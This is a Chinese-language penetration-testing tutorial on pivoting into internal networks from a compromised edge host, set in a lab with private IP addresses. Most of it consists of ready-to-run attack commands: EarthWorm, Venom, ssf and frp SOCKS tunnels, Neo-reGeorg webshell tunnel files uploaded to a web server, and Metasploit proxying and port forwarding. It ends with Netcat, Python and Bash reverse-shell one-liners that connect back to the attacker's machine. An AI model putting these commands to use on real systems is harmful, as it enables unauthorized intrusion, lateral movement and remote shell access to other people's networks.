内网穿透的n种姿势
字数 1010 2025-08-05 12:50:26
内网穿透技术详解
0x00 前言
在渗透测试中,当获取到一台边缘机器后,经常遇到剩余内网机器无法直接访问互联网的情况。此时需要将内网机器流量通过边缘机器转发出来,本文详细介绍多种内网穿透技术。
0x01 实验环境
-
边缘机器:
- Windows 7
- IP: 192.168.10.15(外网), 192.168.52.143(内网)
-
目标机器:
- Windows 2008R2
- IP: 192.168.52.138
-
攻击机器:
- Windows 2008
- IP: 192.168.10.3
- Kali Linux:
- MSF5: 192.168.10.14
- MSF6: 192.168.10.11
0x02 EarthWorm (EW)
1. 正向连接(适用于目标机器有外网IP)
在边缘机器执行:
ew -s ssocksd -l 888
监听本机888端口,然后在目标机器上使用Proxifier等工具连接此代理。
2. 反向连接(适用于边缘机器无公网IP)
攻击机器执行:
ew_for_Win.exe -s rcsocks -l 1080 -e 1234
将外网1234端口转发到1080端口。
边缘机器连接:
ew_for_Win.exe -s rssocks -d 192.168.10.3 -e 1234
0x03 Neo-reGeorg
- 生成木马文件:
python neoreg.py generate -k 123456
在neoreg_servers目录下生成木马文件。
-
上传tunnel.php等木马文件到Web服务器。
-
攻击机连接:
python neoreg.py -k 123456 -u http://192.168.10.15/tunnel.php
0x04 Venom
- 攻击机器监听:
admin.exe -lport 9999
- 边缘机器连接:
agent.exe -rhost 192.168.10.3 -rport 9999
- 建立socks代理:
goto 1
socks 6666
0x05 ssf
1. 正向连接
边缘机器:
ssfd.exe ‐‐p 1333
攻击机:
ssfd.exe ‐‐D 1222 ‐‐p 1333 192.168.10.15
2. 反向连接
攻击机:
ssfd.exe ‐‐p 1234
边缘机器:
ssf.exe ‐‐F 12345 ‐‐p 1234 192.168.10.3
0x06 frp
- 攻击机配置frps.ini:
[common]
bind_port = 6666
运行:
frps.exe -c frps.ini
- 边缘机器配置frpc.ini:
[common]
server_addr = 192.168.10.3
server_port = 6666
[http_proxy]
type=tcp
remote_port=7777
plugin=socks5
运行:
frpc.exe ‐‐c frpc.ini
0x07 Metasploit (MSF)
- 使用socks_proxy模块:
use auxiliary/server/socks_proxy
- 设置代理类型(默认为socks5):
set version 4a # 如需使用socks4a
- 配置浏览器使用代理访问内网资源。
拓展:portfwd端口转发
portfwd add -l 3389 -r 192.168.52.138 -p 3389
然后访问本地3389端口即可。
0x08 Netcat (nc)
1. 正向连接
目标机器:
nc -lvp 4444 -e /bin/sh # Linux
nc -lvp 4444 -e c:\windows\system32\cmd.exe # Windows
攻击机器:
nc <目标机器ip> 4444
2. 反向连接
攻击机器监听:
nc -lvp 1234
目标机器连接:
nc <ip> 1234 -e /bin/sh # Linux
nc <ip> 1234 -e cmd.exe # Windows
替代方案(当目标机器无nc时)
Python反向shell
攻击机器:
nc -lvp 2222
目标机器:
python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.10.3',2222));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
Bash反向shell
攻击机器:
nc -lvp 2222
目标机器:
bash -i >& /dev/tcp/192.168.10.3/2222 0>&1
总结
本文详细介绍了多种内网穿透技术,包括EarthWorm、Neo-reGeorg、Venom、ssf、frp、Metasploit和Netcat等方法,涵盖了正向连接、反向连接等多种场景,可根据实际环境选择合适的技术方案。